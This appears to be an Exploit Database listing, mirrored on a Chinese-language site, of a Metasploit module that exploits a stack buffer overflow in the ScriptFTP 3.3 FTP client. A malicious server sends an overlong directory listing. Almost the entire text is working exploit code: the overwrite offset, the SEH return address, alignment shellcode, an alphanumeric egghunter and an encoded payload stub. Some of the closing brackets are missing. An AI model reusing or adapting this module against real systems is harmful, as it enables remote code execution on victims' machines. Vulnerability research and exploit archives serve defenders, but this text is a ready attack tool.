ScriptFTP 3.3 – Remote Buffer Overflow (Metasploit)

Exploit Database
117 阅读

作者： otoy

日期： 2011-09-29
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/17904/

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#Exploit Title: ScriptFTP 3.3 Remote Buffer Overflow (MSF)

#Date: Sept 20 2011

#Author: otoy

#Version: 3.3

#Tested on: Windows XP SP3

#CVE : -

#EDB-ID: 17876

#Thanks: cyb3r.anbu, spentera-team, dE-team, offsec, exploit-db, corelanc0d3r

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Exploit::Remote::FtpServer

def initialize(info = {})

super(update_info(info,

'Name' => 'ScriptFTP 3.3 Remote Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in ScriptFTP 3.3 ftp client. The overflow is

triggered when the client connects to a FTP server which sends an overly long directory

and filename in response to a GETLIST command.

This will cause an access violation, and will eventually overwrite the saved extended

instruction pointer.

'Author' =>

[

'modpr0be', # Original bug

'Cyberheb', # porting from poc to msf

'Otoy', # final msf module

'License'=> MSF_LICENSE,

'Version'=> "0",

'References' =>

[

[ 'OSVDB', '75633'],

[ 'URL', 'http://www.digital-echidna.org/2011/09/scriptftp-3-3-remote-buffer-overflow-exploit-0day/' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

'Payload'=>

{

'Space'=> 1000,

'DisableNops' => true,

'EncoderType' => Msf::Encoder::Type::AlphanumMixed,

'BadChars'=>"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e",

'EncoderOptions' =>

{

'BufferRegister' => 'EDX',

}

'Platform' => 'win',

'Targets'=>

[

[ 'Windows XP Universal', { 'Ret' => "\x45\x5B", 'Offset' => 1746 } ],

'Privileged' => false,

'DisclosureDate' => 'Sept 20 2011',

'DefaultTarget'=> 0))

end

def setup

super

end

def on_client_unknown_command(c,cmd,arg)

c.put("200 OK\r\n")

end

#Unicode Encoder

def get_unicode_payload(p)

encoder = framework.encoders.create("x86/unicode_upper")

encoder.datastore.import_options_from_hash( {'BufferRegister'=>'EAX'} )

unicode_payload = encoder.encode(p, nil, nil, platform)

return unicode_payload

end

def on_client_command_list(c,arg)

conn = establish_data_connection(c)

if(not conn)

c.put("425 Can't build data connection\r\n")

return

end

print_status(" - Data connection set up")

code = 150

c.put("#{code} Here comes the directory listing.\r\n")

code = 226

c.put("#{code} Directory send ok.\r\n")

sampahawal = "A" * 1746

nseh = "\x61\x62"

seh = target['Ret']

sampahbawah = 1250

#prepare for align

align = "\x60"#pushad

align << "\x73" #nop/align

align << "\x53" #push ebx

align << "\x73" #nop/align

align << "\x58" #pop eax

align << "\x73" #nop/align

align << "\x05\x02\x11" #add eax,0x11000200

align << "\x73" #nop/align

align << "\x2d\x01\x11" #sub eax,0x11000120

align << "\x73" #nop/align

#align after egg

align2 = "\x73\x57\x73\x58\x73" #nop/push edi/nop/pop eax/nop

align2 << "\xb9\x1b\xaa"#mov ecx,0xaa001b00

align2 << "\xe8\x73"#add al,ch + nop

align2 << "\x50\x73\xc3"#push eax,nop,ret

#walking

walk = "\x50" #push eax

walk << "\x73"#nop/align

walk << "\xc3"#ret

#egghunter

egghunter = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYA"

egghunter << "IAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA5"

egghunter << "8AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZB"

egghunter << "ABABABAB30APB944JBQVCQGZKOLO12PRQZKR1"

egghunter << "HXMNNOLKUQJRTJO6XKPNPKP44TKJZ6O3EJJ6O"

egghunter << "SEYWKOYWA"

#junk

sampah1 = "\x44" * 106 + "\x73"

sampah2 = "\x42" * 544

#egg

telur = "0t0t"

#payload

stubget = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"

palpha = stubget + payload.encoded

puni = get_unicode_payload(palpha)

#filename

filename = sampahawal

filename << nseh

filename << seh

filename << align

filename << walk

filename << sampah1

filename << egghunter

filename << sampah2

filename << telur

filename << align2

filename << puni

filename << sampah1

print_status(" - Sending directory list via data connection")

dirlist = "-rwxrwxrwx1 1000 11111 Jun 11 21:10 #{filename}.txt\r\n"

dirlist << "drwxrwxrwx1 1000 11111 Jun 11 21:10 #{filename}\r\n"

dirlist << "-rwxrwxrwx1 1000 11111 Jun 11 21:10 #{filename}.txt\r\n"

conn.put(dirlist)

conn.close

return

end